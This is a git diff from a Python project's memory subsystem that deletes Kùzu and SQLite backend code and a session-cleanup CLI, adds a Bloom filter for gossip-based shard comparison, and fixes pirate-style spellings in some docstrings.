Returns: - Memory entry if found, None otherwise - - Performance: <50ms (primary key lookup) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self._get_memory_by_id_sync, memory_id) - - def _delete_memory_sync(self, memory_id: str) -> bool: - """Delete a memory entry and its relationships (sync helper). - - Searches across all 5 node types to find and delete the memory. - - Args: - memory_id: Unique memory identifier - - Returns: - True if deleted, False otherwise - - Performance: <100ms (node + edge deletion) - """ - try: - # Try to delete from each node type - for memory_type in [ - MemoryType.EPISODIC, - MemoryType.SEMANTIC, - MemoryType.PROCEDURAL, - MemoryType.PROSPECTIVE, - MemoryType.WORKING, - ]: - node_label = self._get_node_label_for_type(memory_type) - - # Check if node exists in this type - result = self.connection.execute( - f""" - MATCH (m:{node_label} {{memory_id: $memory_id}}) - RETURN COUNT(m) AS count - """, - {"memory_id": memory_id}, - ) - - if result.has_next() and result.get_next()[0] > 0: - # Delete memory node and its relationships (DETACH DELETE removes edges first) - self.connection.execute( - f""" - MATCH (m:{node_label} {{memory_id: $memory_id}}) - DETACH DELETE m - """, - {"memory_id": memory_id}, - ) - return True - - # Memory not found in any node type - return False - - except Exception as e: - logger.error(f"Error deleting memory from Kùzu: {e}") - return False - - async def delete_memory(self, memory_id: str) -> bool: - """Delete a memory entry and its relationships. - - Searches across all 5 node types to find and delete the memory. - - Args: - memory_id: Unique memory identifier - - Returns: - True if deleted, False otherwise - - Performance: <100ms (node + edge deletion) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self._delete_memory_sync, memory_id) - - def _cleanup_expired_sync(self) -> int: - """Remove expired memory entries (sync helper). - - Only queries memory types that have expires_at in their schema: - EpisodicMemory, ProspectiveMemory, WorkingMemory. - - Returns: - Number of entries removed - - Performance: No strict limit (periodic maintenance) - """ - total_deleted = 0 - for node_label in MEMORY_TYPES_WITH_EXPIRES_AT: - try: - result = self.connection.execute( - f""" - MATCH (m:{node_label}) - WHERE m.expires_at IS NOT NULL AND m.expires_at < $now - DELETE m - RETURN COUNT(m) AS deleted_count - """, - {"now": datetime.now()}, - ) - - if result.has_next(): - row = result.get_next() - total_deleted += row[0] - - except Exception as e: - logger.error(f"Error cleaning up expired {node_label} from Kùzu: {e}") - - return total_deleted - - async def cleanup_expired(self) -> int: - """Remove expired memory entries. - - Returns: - Number of entries removed - - Performance: No strict limit (periodic maintenance) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self._cleanup_expired_sync) - - def _get_session_info_sync(self, session_id: str) -> SessionInfo | None: - """Get information about a session (sync helper). - - Args: - session_id: Session identifier - - Returns: - Session information if found - - Performance: <50ms (graph traversal) - """ - try: - result = self.connection.execute( - """ - MATCH (s:Session {session_id: $session_id}) - OPTIONAL MATCH (s)-[:HAS_MEMORY]->(m:Memory) - OPTIONAL MATCH (a:Agent)-[:CREATED]->(m) - RETURN s, COUNT(DISTINCT m) AS memory_count, COLLECT(DISTINCT a.agent_id) AS agent_ids - """, - {"session_id": session_id}, - ) - - if not result.has_next(): - return None - - row = result.get_next() - session_node = row[0] - memory_count = row[1] - agent_ids = row[2] if row[2] else [] - - return SessionInfo( - session_id=session_node["session_id"], - created_at=session_node["created_at"], - last_accessed=session_node["last_accessed"], - agent_ids=agent_ids, - memory_count=memory_count, - metadata=json.loads(session_node["metadata"]) - if session_node.get("metadata") - else {}, - ) - - except Exception as e: - logger.error(f"Error getting session info from Kùzu: {e}") - return None - - async def get_session_info(self, session_id: str) -> SessionInfo | None: - """Get information about a session. - - Args: - session_id: Session identifier - - Returns: - Session information if found - - Performance: <50ms (graph traversal) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self._get_session_info_sync, session_id) - - def _list_sessions_sync(self, limit: int | None = None) -> list[SessionInfo]: - """List all sessions ordered by last accessed (sync helper). - - Args: - limit: Maximum number of sessions to return - - Returns: - List of session information - - Performance: <100ms (graph scan) - """ - try: - cypher = """ - MATCH (s:Session) - OPTIONAL MATCH (s)-[:HAS_MEMORY]->(m:Memory) - OPTIONAL MATCH (a:Agent)-[:CREATED]->(m) - RETURN s, COUNT(DISTINCT m) AS memory_count, COLLECT(DISTINCT a.agent_id) AS agent_ids - ORDER BY s.last_accessed DESC - """ - - params = {} - if limit: - cypher += " LIMIT $limit" - params["limit"] = limit - - result = self.connection.execute(cypher, params) - - sessions = [] - while result.has_next(): - row = result.get_next() - session_node = row[0] - memory_count = row[1] - agent_ids = row[2] if row[2] else [] - - sessions.append( - SessionInfo( - session_id=session_node["session_id"], - created_at=session_node["created_at"], - last_accessed=session_node["last_accessed"], - agent_ids=agent_ids, - memory_count=memory_count, - metadata=json.loads(session_node["metadata"]) - if session_node.get("metadata") - else {}, - ) - ) - - return sessions - - except Exception as e: - logger.error(f"Error listing sessions from Kùzu: {e}") - return [] - - async def list_sessions(self, limit: int | None = None) -> list[SessionInfo]: - """List all sessions ordered by last accessed. - - Args: - limit: Maximum number of sessions to return - - Returns: - List of session information - - Performance: <100ms (graph scan) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self._list_sessions_sync, limit) - - def _delete_session_sync(self, session_id: str) -> bool: - """Delete a session and all its associated memories (sync helper). - - Args: - session_id: Session identifier to delete - - Returns: - True if session was deleted, False otherwise - - Performance: <500ms (cascading delete of session + all memories) - """ - try: - # Delete all memories associated with this session across all memory types - for memory_type in [ - MemoryType.EPISODIC, - MemoryType.SEMANTIC, - MemoryType.PROCEDURAL, - MemoryType.PROSPECTIVE, - MemoryType.WORKING, - ]: - node_label = self._get_node_label_for_type(memory_type) - - # Find and delete memories for this session - # This uses relationship patterns to find memories belonging to the session - self.connection.execute( - f""" - MATCH (s:Session {{session_id: $session_id}})-[r]->(m:{node_label}) - DETACH DELETE m - """, - {"session_id": session_id}, - ) - - # Delete the session node itself - result = self.connection.execute( - """ - MATCH (s:Session {session_id: $session_id}) - DETACH DELETE s - RETURN COUNT(s) AS deleted - """, - {"session_id": session_id}, - ) - - # Check if session was deleted - if result.has_next(): - deleted_count = result.get_next()[0] - return deleted_count > 0 - - return False - - except Exception as e: - logger.error(f"Error deletin' session from Kùzu: {e}") - return False - - async def delete_session(self, session_id: str) -> bool: - """Delete a session and all its associated memories. - - Args: - session_id: Session identifier to delete - - Returns: - True if session was deleted, False otherwise - - Performance: <500ms (cascading delete of session + all memories) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self._delete_session_sync, session_id) - - def _get_stats_sync(self) -> dict[str, Any]: - """Get database statistics (sync helper). - - Counts across all 5 memory node types. - - Returns: - Dictionary with backend statistics - - Performance: <100ms (graph aggregations) - """ - try: - stats = {} - - # Count memories by type across all 5 node types - memory_types = {} - total_memories = 0 - - for memory_type in [ - MemoryType.EPISODIC, - MemoryType.SEMANTIC, - MemoryType.PROCEDURAL, - MemoryType.PROSPECTIVE, - MemoryType.WORKING, - ]: - node_label = self._get_node_label_for_type(memory_type) - - result = self.connection.execute(f"MATCH (m:{node_label}) RETURN COUNT(m) AS count") - - if result.has_next(): - count = result.get_next()[0] - memory_types[memory_type.value] = count - total_memories += count - - stats["total_memories"] = total_memories - stats["memory_types"] = memory_types - - # Total sessions - result = self.connection.execute("MATCH (s:Session) RETURN COUNT(s) AS count") - if result.has_next(): - stats["total_sessions"] = result.get_next()[0] - - # Total agents - result = self.connection.execute("MATCH (a:Agent) RETURN COUNT(a) AS count") - if result.has_next(): - stats["total_agents"] = result.get_next()[0] - - # Top agents by memory count (across all types) - top_agents = {} - for memory_type in [ - MemoryType.EPISODIC, - MemoryType.SEMANTIC, - MemoryType.PROCEDURAL, - MemoryType.PROSPECTIVE, - MemoryType.WORKING, - ]: - node_label = self._get_node_label_for_type(memory_type) - - result = self.connection.execute( - f""" - MATCH (m:{node_label}) - RETURN m.agent_id AS agent, COUNT(m) AS count - """ - ) - - while result.has_next(): - row = result.get_next() - agent_id = row[0] - count = row[1] - top_agents[agent_id] = top_agents.get(agent_id, 0) + count - - # Sort and limit to top 10 - sorted_agents = sorted(top_agents.items(), key=lambda x: x[1], reverse=True)[:10] - stats["top_agents"] = dict(sorted_agents) - - # Approximate database size - import os - - db_size = 0 - for root, dirs, files in os.walk(self.db_path): - for file in files: - db_size += os.path.getsize(os.path.join(root, file)) - stats["db_size_bytes"] = db_size - - return stats - - except Exception as e: - logger.error(f"Error getting stats from Kùzu: {e}") - return {} - - async def get_stats(self) -> dict[str, Any]: - """Get database statistics. - - Counts across all 5 memory node types. - - Returns: - Dictionary with backend statistics - - Performance: <100ms (graph aggregations) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self._get_stats_sync) - - def _close_sync(self) -> None: - """Close Kùzu connection and cleanup resources (sync helper). - - Idempotent - safe to call multiple times. - """ - try: - if hasattr(self, "connection"): - del self.connection - if hasattr(self, "database"): - del self.database - except Exception as e: - logger.error(f"Error closing Kùzu connection: {e}") - - async def close(self) -> None: - """Close Kùzu connection and cleanup resources. - - Idempotent - safe to call multiple times. - """ - loop = asyncio.get_event_loop() - await loop.run_in_executor(self._executor, self._close_sync) - self._executor.shutdown(wait=True) - - def _get_code_graph(self) -> KuzuCodeGraph: - """Lazy-load KuzuCodeGraph instance. - - Returns: - KuzuCodeGraph instance using same database connection - """ - if self._code_graph is None: - # Create connector wrapping our existing connection - connector = KuzuConnector(db_path=str(self.db_path)) - connector._db = self.database - connector._conn = self.connection - self._code_graph = KuzuCodeGraph(connector) - return self._code_graph - - def get_code_graph(self) -> KuzuCodeGraph | None: - """Get code graph instance for querying code-memory relationships. - - Returns: - KuzuCodeGraph instance if available, None if code graph not initialized - - Example: - >>> backend = KuzuBackend() - >>> backend.initialize() - >>> code_graph = backend.get_code_graph() - >>> if code_graph: - ... context = code_graph.query_code_context(memory_id) - """ - try: - return self._get_code_graph() - except Exception as e: - logger.debug(f"Code graph not available: {e}") - return None - - def _auto_link_memory_to_code(self, memory: MemoryEntry) -> int: - """Automatically link a memory to relevant code entities. - - Links based on: - - File path in metadata (exact or partial match) - - Function names in content (substring match) - - Relevance scoring (1.0 for metadata, 0.8 for content match) - - Args: - memory: Memory entry to link - - Returns: - Number of relationships created - - Performance: <100ms per memory (typically 0-5 links) - """ - count = 0 - now = datetime.now() - - # Determine memory type for relationship table names - memory_type_str = memory.memory_type.value.upper() - node_label = self._get_node_label_for_type(memory.memory_type) - - # 1. Link to files based on metadata file path - file_path = memory.metadata.get("file") or memory.metadata.get("file_path") - if file_path: - count += self._link_memory_to_file( - memory.id, - node_label, - memory_type_str, - file_path, - relevance_score=1.0, - context="metadata_file_match", - timestamp=now, - ) - - # 2. Link to functions based on content - if memory.content: - count += self._link_memory_to_functions_by_content( - memory.id, - node_label, - memory_type_str, - memory.content, - relevance_score=0.8, - context="content_name_match", - timestamp=now, - ) - - if count > 0: - logger.debug(f"Auto-linked memory {memory.id} to {count} code entities") - - return count - - def _link_memory_to_file( - self, - memory_id: str, - node_label: str, - memory_type_str: str, - file_path: str, - relevance_score: float, - context: str, - timestamp: datetime, - ) -> int: - """Link a memory to a code file. - - Args: - memory_id: Memory ID - node_label: Memory node label (e.g., "EpisodicMemory") - memory_type_str: Memory type string (e.g., "EPISODIC") - file_path: File path to match - relevance_score: Relevance score (0.0-1.0) - context: Context string describing link reason - timestamp: Link creation timestamp - - Returns: - Number of links created - """ - try: - # Find matching code files (exact or partial match) - result = self.connection.execute( - """ - MATCH (cf:CodeFile) - WHERE cf.file_path CONTAINS $file_path OR $file_path CONTAINS cf.file_path - RETURN cf.file_id - """, - {"file_path": file_path}, - ) - - count = 0 - rel_table = f"RELATES_TO_FILE_{memory_type_str}" - - while result.has_next(): - row = result.get_next() - file_id = row[0] - - # Check if relationship already exists - check_result = self.connection.execute( - f""" - MATCH (m:{node_label} {{memory_id: $memory_id}})-[r:{rel_table}]->(cf:CodeFile {{file_id: $file_id}}) - RETURN COUNT(r) AS cnt - """, - {"memory_id": memory_id, "file_id": file_id}, - ) - - if check_result.has_next(): - existing_count = check_result.get_next()[0] - if existing_count > 0: - continue - - # Create relationship - self.connection.execute( - f""" - MATCH (m:{node_label} {{memory_id: $memory_id}}) - MATCH (cf:CodeFile {{file_id: $file_id}}) - CREATE (m)-[:{rel_table} {{ - relevance_score: $relevance_score, - context: $context, - timestamp: $timestamp - }}]->(cf) - """, - { - "memory_id": memory_id, - "file_id": file_id, - "relevance_score": relevance_score, - "context": context, - "timestamp": timestamp, - }, - ) - count += 1 - - return count - - except Exception as e: - logger.debug(f"Error linking memory to file: {e}") - return 0 - - def _link_memory_to_functions_by_content( - self, - memory_id: str, - node_label: str, - memory_type_str: str, - content: str, - relevance_score: float, - context: str, - timestamp: datetime, - ) -> int: - """Link a memory to functions mentioned in content. - - Args: - memory_id: Memory ID - node_label: Memory node label (e.g., "EpisodicMemory") - memory_type_str: Memory type string (e.g., "EPISODIC") - content: Memory content to scan for function names - relevance_score: Relevance score (0.0-1.0) - context: Context string describing link reason - timestamp: Link creation timestamp - - Returns: - Number of links created - """ - try: - # Find functions whose names appear in content - # Use CONTAINS for substring matching - result = self.connection.execute( - """ - MATCH (f:Function) - WHERE $content CONTAINS f.function_name - RETURN f.function_id, f.function_name - """, - {"content": content}, - ) - - count = 0 - rel_table = f"RELATES_TO_FUNCTION_{memory_type_str}" - - while result.has_next(): - row = result.get_next() - function_id = row[0] - function_name = row[1] - - # Skip very short function names to avoid false positives - if len(function_name) < 4: - continue - - # Check if relationship already exists - check_result = self.connection.execute( - f""" - MATCH (m:{node_label} {{memory_id: $memory_id}})-[r:{rel_table}]->(f:Function {{function_id: $function_id}}) - RETURN COUNT(r) AS cnt - """, - {"memory_id": memory_id, "function_id": function_id}, - ) - - if check_result.has_next(): - existing_count = check_result.get_next()[0] - if existing_count > 0: - continue - - # Create relationship - self.connection.execute( - f""" - MATCH (m:{node_label} {{memory_id: $memory_id}}) - MATCH (f:Function {{function_id: $function_id}}) - CREATE (m)-[:{rel_table} {{ - relevance_score: $relevance_score, - context: $context, - timestamp: $timestamp - }}]->(f) - """, - { - "memory_id": memory_id, - "function_id": function_id, - "relevance_score": relevance_score, - "context": context, - "timestamp": timestamp, - }, - ) - count += 1 - - return count - - except Exception as e: - logger.debug(f"Error linking memory to functions: {e}") - return 0 - - async def __aenter__(self): - """Async context manager entry.""" - return self - - async def __aexit__(self, exc_type, exc_val, exc_tb): - """Async context manager exit with proper cleanup.""" - await self.close() - return False - - def _has_old_schema(self) -> bool: - """Check if old Memory table exists in database. - - Returns: - True if old schema exists, False otherwise - """ - try: - # Try to query old Memory table - result = self.connection.execute( - """ - MATCH (m:Memory) - RETURN COUNT(m) AS count - LIMIT 1 - """ - ) - # If query succeeds, old schema exists - return result.has_next() - except Exception: - # If query fails, old schema doesn't exist - return False - - def migrate_to_new_schema(self) -> bool: - """Migrate data from old Memory table to new 5-node schema. - - This is a stub for future migration implementation. - - Returns: - True if migration successful, False otherwise - """ - try: - if not self._has_old_schema(): - logger.info("No old schema detected, skipping migration") - return True - - logger.warning("Migration from old schema not yet implemented") - # TODO: Implement migration logic - # 1. Query all nodes from old Memory table - # 2. Route each to appropriate new node type based on memory_type - # 3. Create proper relationships (Session, Agent) - # 4. Verify data integrity - # 5. Optionally remove old Memory table - - return False - - except Exception as e: - logger.error(f"Error during schema migration: {e}") - return False - - -__all__ = ["KuzuBackend"] diff --git a/src/amplihack/memory/backends/sqlite_backend.py b/src/amplihack/memory/backends/sqlite_backend.py deleted file mode 100644 index 9b3be9449..000000000 --- a/src/amplihack/memory/backends/sqlite_backend.py +++ /dev/null @@ -1,203 +0,0 @@ -"""SQLite backend implementation. - -Wraps existing MemoryDatabase as a backend that implements the MemoryBackend protocol. - -Philosophy: -- Zero abstraction overhead: Direct delegation to MemoryDatabase -- Backward compatible: Preserves all existing functionality -- Self-contained: All SQLite-specific logic in this module - -Public API: - SQLiteBackend: MemoryBackend implementation using SQLite -""" - -import asyncio -from concurrent.futures import ThreadPoolExecutor -from pathlib import Path -from typing import Any - -from ..database import MemoryDatabase -from ..models import MemoryEntry, MemoryQuery, SessionInfo -from .base import BackendCapabilities - - -class SQLiteBackend: - """SQLite backend implementation. - - Wraps existing MemoryDatabase to implement MemoryBackend protocol. - Preserves all existing functionality while providing standardized interface. - """ - - def __init__(self, db_path: Path | str | None = None): - """Initialize SQLite backend. - - Args: - db_path: Path to SQLite database file. Defaults to ~/.amplihack/memory.db - """ - self.database = MemoryDatabase(db_path) - self._executor = ThreadPoolExecutor(max_workers=1) - - def get_capabilities(self) -> BackendCapabilities: - """Get SQLite backend capabilities.""" - return BackendCapabilities( - supports_graph_queries=False, # SQLite doesn't support native graph queries - supports_vector_search=False, # SQLite doesn't support native vector search - supports_transactions=True, # SQLite has ACID transactions - supports_fulltext_search=True, # SQLite has FTS5 - max_concurrent_connections=1, # SQLite single writer - backend_name="sqlite", - backend_version="3.x", - ) - - async def initialize(self) -> None: - """Initialize SQLite backend. - - Creates schema and indexes if needed. - Idempotent - safe to call multiple times. - """ - loop = asyncio.get_event_loop() - await loop.run_in_executor(self._executor, self.database.initialize) - - async def store_memory(self, memory: MemoryEntry) -> bool: - """Store a memory entry. - - Args: - memory: Memory entry to store - - Returns: - True if successful, False otherwise - - Performance: <500ms (SQLite insert + index updates) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self.database.store_memory, memory) - - async def retrieve_memories(self, query: MemoryQuery) -> list[MemoryEntry]: - """Retrieve memories matching the query. - - Args: - query: Query parameters - - Returns: - List of matching memory entries - - Performance: <50ms (SQLite index lookups) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self.database.retrieve_memories, query) - - async def get_memory_by_id(self, memory_id: str) -> MemoryEntry | None: - """Get a specific memory by ID. - - Args: - memory_id: Unique memory identifier - - Returns: - Memory entry if found, None otherwise - - Performance: <50ms (SQLite primary key lookup) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self.database.get_memory_by_id, memory_id) - - async def delete_memory(self, memory_id: str) -> bool: - """Delete a memory entry. - - Args: - memory_id: Unique memory identifier - - Returns: - True if deleted, False otherwise - - Performance: <100ms (SQLite delete + cascade) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self.database.delete_memory, memory_id) - - async def cleanup_expired(self) -> int: - """Remove expired memory entries. - - Returns: - Number of entries removed - - Performance: No strict limit (periodic maintenance) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self.database.cleanup_expired) - - async def get_session_info(self, session_id: str) -> SessionInfo | None: - """Get information about a session. - - Args: - session_id: Session identifier - - Returns: - Session information if found - - Performance: <50ms (SQLite joins) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor( - self._executor, self.database.get_session_info, session_id - ) - - async def list_sessions(self, limit: int | None = None) -> list[SessionInfo]: - """List all sessions ordered by last accessed. - - Args: - limit: Maximum number of sessions to return - - Returns: - List of session information - - Performance: <100ms (SQLite ORDER BY) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self.database.list_sessions, limit) - - async def delete_session(self, session_id: str) -> bool: - """Delete a session and all its associated memories. - - Args: - session_id: Session identifier to delete - - Returns: - True if session was deleted, False otherwise - - Performance: <500ms (cascading delete) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self.database.delete_session, session_id) - - async def get_stats(self) -> dict[str, Any]: - """Get database statistics. - - Returns: - Dictionary with backend statistics - - Performance: <100ms (SQLite aggregations) - """ - loop = asyncio.get_event_loop() - return await loop.run_in_executor(self._executor, self.database.get_stats) - - async def close(self) -> None: - """Close SQLite connection and cleanup resources. - - Idempotent - safe to call multiple times. - """ - loop = asyncio.get_event_loop() - await loop.run_in_executor(self._executor, self.database.close) - # Shutdown executor properly waiting for completion - self._executor.shutdown(wait=True) - - async def __aenter__(self): - """Async context manager entry.""" - return self - - async def __aexit__(self, exc_type, exc_val, exc_tb): - """Async context manager exit with proper cleanup.""" - await self.close() - return False - - -__all__ = ["SQLiteBackend"] diff --git a/src/amplihack/memory/bloom.py b/src/amplihack/memory/bloom.py new file mode 100644 index 000000000..1e929fa52 --- /dev/null +++ b/src/amplihack/memory/bloom.py @@ -0,0 +1,123 @@ +"""Bloom filter for compact shard content summaries. + +Used by the gossip protocol to efficiently compare shard contents +between agents. Each agent maintains a bloom filter of its fact IDs. +During gossip, agents exchange bloom filters and pull missing facts. + +Philosophy: +- Compact representation (1KB for 1000 facts at 1% FPR) +- No false negatives — if bloom says "not present", it's truly absent +- Trade small false positive rate for massive space savings +- Simple bit-array implementation, no external dependencies + +Public API: + BloomFilter: Probabilistic set membership data structure +""" + +from __future__ import annotations + +import hashlib +import math +from typing import Sequence + + +class BloomFilter: + """Space-efficient probabilistic set membership test. + + Supports add() and might_contain(). False positives possible, + false negatives impossible. + + Args: + expected_items: Expected number of items to store + false_positive_rate: Target FPR (default 0.01 = 1%) + """ + + def __init__( + self, + expected_items: int = 1000, + false_positive_rate: float = 0.01, + ): + self._expected = expected_items + self._fpr = false_positive_rate + + # Optimal bit array size: m = -n*ln(p) / (ln2)^2 + if expected_items <= 0: + expected_items = 1 + self._size = max( + 64, + int(-expected_items * math.log(false_positive_rate) / (math.log(2) ** 2)), + ) + # Optimal number of hash functions: k = (m/n) * ln2 + self._num_hashes = max( + 1, int((self._size / expected_items) * math.log(2)) + ) + # Bit array as bytearray + self._bits = bytearray((self._size + 7) // 8) + self._count = 0 + + def _get_hashes(self, item: str) -> list[int]: + """Generate k hash positions for an item using double hashing.""" + h1 = int(hashlib.md5(item.encode()).hexdigest(), 16) + h2 = int(hashlib.sha1(item.encode()).hexdigest(), 16) + return [(h1 + i * h2) % self._size for i in range(self._num_hashes)] + + def add(self, item: str) -> None: + """Add an item to the bloom filter.""" + for pos in self._get_hashes(item): + byte_idx = pos >> 3 + bit_idx = pos & 7 + self._bits[byte_idx] |= 1 << bit_idx + self._count += 1 + + def might_contain(self, item: str) -> bool: + """Test if an item might be in the set. + + Returns True if possibly present, False if definitely absent. + """ + for pos in self._get_hashes(item): + byte_idx = pos >> 3 + bit_idx = pos & 7 + if not (self._bits[byte_idx] & (1 << bit_idx)): + return False + return True + + def add_all(self, items: Sequence[str]) -> None: + """Add multiple items.""" + for item in items: + self.add(item) + + def missing_from(self, items: Sequence[str]) -> list[str]: + """Return items from the sequence that are NOT in this filter. + + These are items the peer has that we definitely don't. + """ + return [item for item in items if not self.might_contain(item)] + + @property + def count(self) -> int: + """Approximate number of items added.""" + return self._count + + @property + def size_bytes(self) -> int: + """Size of the underlying bit array in bytes.""" + return len(self._bits) + + def to_bytes(self) -> bytes: + """Serialize the bloom filter for network transmission.""" + return bytes(self._bits) + + @classmethod + def from_bytes( + cls, + data: bytes, + expected_items: int = 1000, + false_positive_rate: float = 0.01, + ) -> BloomFilter: + """Deserialize a bloom filter from bytes.""" + bf = cls(expected_items=expected_items, false_positive_rate=false_positive_rate) + bf._bits = bytearray(data[: len(bf._bits)]) + return bf + + +__all__ = ["BloomFilter"] diff --git a/src/amplihack/memory/cli_cleanup.py b/src/amplihack/memory/cli_cleanup.py deleted file mode 100644 index d57688739..000000000 --- a/src/amplihack/memory/cli_cleanup.py +++ /dev/null @@ -1,177 +0,0 @@ -"""Memory cleanup utility fer cleanin' test sessions and temporary data. - -Provides tools fer identifyin' and deletin' test-related memory sessions -with pattern matchin' and safety checks (dry-run by default). - -Philosophy: -- Safe by default: Dry-run mode prevents accidental deletions -- Pattern-based: Flexible session identification -- Backend-agnostic: Works with any memory backend -- User confirmation: Prompts before destructive operations - -Public API: - cleanup_memory_sessions: Main cleanup function (sync wrapper) - cleanup_memory_sessions_async: Async implementation -""" - -import asyncio -import inspect -import re -import sys -from typing import Any - - -async def cleanup_memory_sessions_async( - backend: Any, - pattern: str = "test_*", - dry_run: bool = True, - confirm: bool = False, -) -> dict[str, Any]: - """Clean up memory sessions matchin' a pattern (async version). - - Args: - backend: Memory backend instance (must have list_sessions() and delete_session()) - pattern: Session ID pattern (supports * wildcards, default: "test_*") - dry_run: If True, only show what would be deleted (default: True) - confirm: If True, skip confirmation prompt (default: False) - - Returns: - Dictionary with cleanup statistics: - - matched: Number of sessions matched - - deleted: Number of sessions deleted - - errors: Number of errors encountered - - session_ids: List of affected session IDs - - Example: - >>> from amplihack.memory.backends.kuzu_backend import KuzuBackend - >>> backend = KuzuBackend() - >>> await backend.initialize() - >>> # Dry run (safe preview) - >>> result = await cleanup_memory_sessions_async(backend, pattern="test_*") - >>> print(f"Would delete {result['matched']} sessions") - >>> # Actual deletion with confirmation - >>> result = await cleanup_memory_sessions_async(backend, pattern="test_*", dry_run=False, confirm=True) - """ - # Convert glob pattern to regex - regex_pattern = pattern.replace("*", ".*").replace("?", ".") - regex = re.compile(f"^{regex_pattern}$") - - # Get all sessions from backend - sessions_result = backend.list_sessions() - # Handle both sync and async backends - if inspect.iscoroutine(sessions_result): - sessions = await sessions_result - else: - sessions = sessions_result - - # Filter sessions by pattern - matched_sessions = [s for s in sessions if regex.match(s.session_id)] - - if not matched_sessions: - return { - "matched": 0, - "deleted": 0, - "errors": 0, - "session_ids": [], - } - - # Print preview - print(f"\nFound {len(matched_sessions)} session(s) matchin' pattern '{pattern}':") - for session in matched_sessions: - memory_count = getattr(session, "memory_count", 0) - print(f" - {session.session_id} ({memory_count} memories)") - - if dry_run: - print("\nDry-run mode: No sessions were deleted.") - print("Use --no-dry-run to actually be deletin' these sessions.") - return { - "matched": len(matched_sessions), - "deleted": 0, - "errors": 0, - "session_ids": [s.session_id for s in matched_sessions], - } - - # Confirmation prompt (unless --confirm flag is set) - if not confirm: - response = input("\nAre ye sure ye want to delete these sessions? [y/N]: ") - if response.lower() not in ("y", "yes"): - print("Cleanup be cancelled.") - return { - "matched": len(matched_sessions), - "deleted": 0, - "errors": 0, - "session_ids": [], - } - - # Delete sessions - deleted_count = 0 - error_count = 0 - deleted_ids = [] - - for session in matched_sessions: - try: - delete_result = backend.delete_session(session.session_id) - # Handle both sync and async backends - if inspect.iscoroutine(delete_result): - success = await delete_result - else: - success = delete_result - if success: - deleted_count += 1 - deleted_ids.append(session.session_id) - print(f"Deleted: {session.session_id}") - else: - error_count += 1 - print(f"Failed to be deletin': {session.session_id}", file=sys.stderr) - except Exception as e: - error_count += 1 - print(f"Error deletin' {session.session_id}: {e}", file=sys.stderr) - - print(f"\nCleanup complete: {deleted_count} deleted, {error_count} errors") - - return { - "matched": len(matched_sessions), - "deleted": deleted_count, - "errors": error_count, - "session_ids": deleted_ids, - } - - -def cleanup_memory_sessions( - backend: Any, - pattern: str = "test_*", - dry_run: bool = True, - confirm: bool = False, -) -> dict[str, Any]: - """Clean up memory sessions matchin' a pattern (sync wrapper). - - This is a synchronous wrapper around cleanup_memory_sessions_async for - convenience in non-async contexts (CLI, tests, etc). - - Args: - backend: Memory backend instance (must have list_sessions() and delete_session()) - pattern: Session ID pattern (supports * wildcards, default: "test_*") - dry_run: If True, only show what would be deleted (default: True) - confirm: If True, skip confirmation prompt (default: False) - - Returns: - Dictionary with cleanup statistics: - - matched: Number of sessions matched - - deleted: Number of sessions deleted - - errors: Number of errors encountered - - session_ids: List of affected session IDs - - Example: - >>> from amplihack.memory.backends.kuzu_backend import KuzuBackend - >>> backend = KuzuBackend() - >>> backend.initialize() - >>> # Dry run (safe preview) - >>> result = cleanup_memory_sessions(backend, pattern="test_*") - >>> print(f"Would delete {result['matched']} sessions") - >>> # Actual deletion with confirmation - >>> result = cleanup_memory_sessions(backend, pattern="test_*", dry_run=False, confirm=True) - """ - return asyncio.run(cleanup_memory_sessions_async(backend, pattern, dry_run, confirm)) - - -__all__ = ["cleanup_memory_sessions", "cleanup_memory_sessions_async"] diff --git a/src/amplihack/memory/cli_evaluate.py b/src/amplihack/memory/cli_evaluate.py index 1d4c45edd..4566fc974 100644 --- a/src/amplihack/memory/cli_evaluate.py +++ b/src/amplihack/memory/cli_evaluate.py @@ -1,4 +1,4 @@ -"""CLI command fer memory backend evaluation. +"""CLI command for memory backend evaluation. Usage: amplihack memory evaluate # Compare all backends @@ -27,7 +27,7 @@ def main(): - """CLI entry point fer memory evaluation.""" + """CLI entry point for memory evaluation.""" parser = argparse.ArgumentParser( description="Evaluate memory backend quality and performance", formatter_class=argparse.RawDescriptionHelpFormatter, diff --git a/src/amplihack/memory/cli_visualize.py b/src/amplihack/memory/cli_visualize.py index 44382d97a..63d794c7e 100644 --- a/src/amplihack/memory/cli_visualize.py +++ b/src/amplihack/memory/cli_visualize.py @@ -1,4 +1,4 @@ -"""Terminal tree visualization fer Kùzu memory graph. +"""Terminal tree visualization for Kùzu memory graph. Provides Rich-based tree display of memory hierarchies with color-coding, emojis, and importance scores. @@ -14,7 +14,7 @@ visualize_memory_tree_async: Async visualization function build_memory_tree: Build Rich Tree from backend data (async) format_importance_score: Format importance score as stars - get_memory_emoji: Get emoji fer memory type + get_memory_emoji: Get emoji for memory type """ import asyncio @@ -39,7 +39,7 @@ def get_memory_emoji(memory_type: MemoryType) -> str: - """Get emoji fer memory type. + """Get emoji for memory type. Maps old 6-type system to new 5-type visual system. @@ -47,7 +47,7 @@ def get_memory_emoji(memory_type: MemoryType) -> str: memory_type: Type of memory Returns: - Emoji string fer the type + Emoji string for the type """ emoji_map = { MemoryType.CONVERSATION: "📝", # Episodic-like @@ -95,7 +95,7 @@ async def build_memory_tree_async( depth: Maximum tree depth (optional) Returns: - Rich Tree ready fer display (or None if Rich not available) + Rich Tree ready for display (or None if Rich not available) Raises: ImportError: If Rich library not installed @@ -140,7 +140,7 @@ async def build_memory_tree_async( f"[blue]{session.session_id}[/blue] ({session.memory_count} memories)" ) - # Query memories fer this session + # Query memories for this session query = 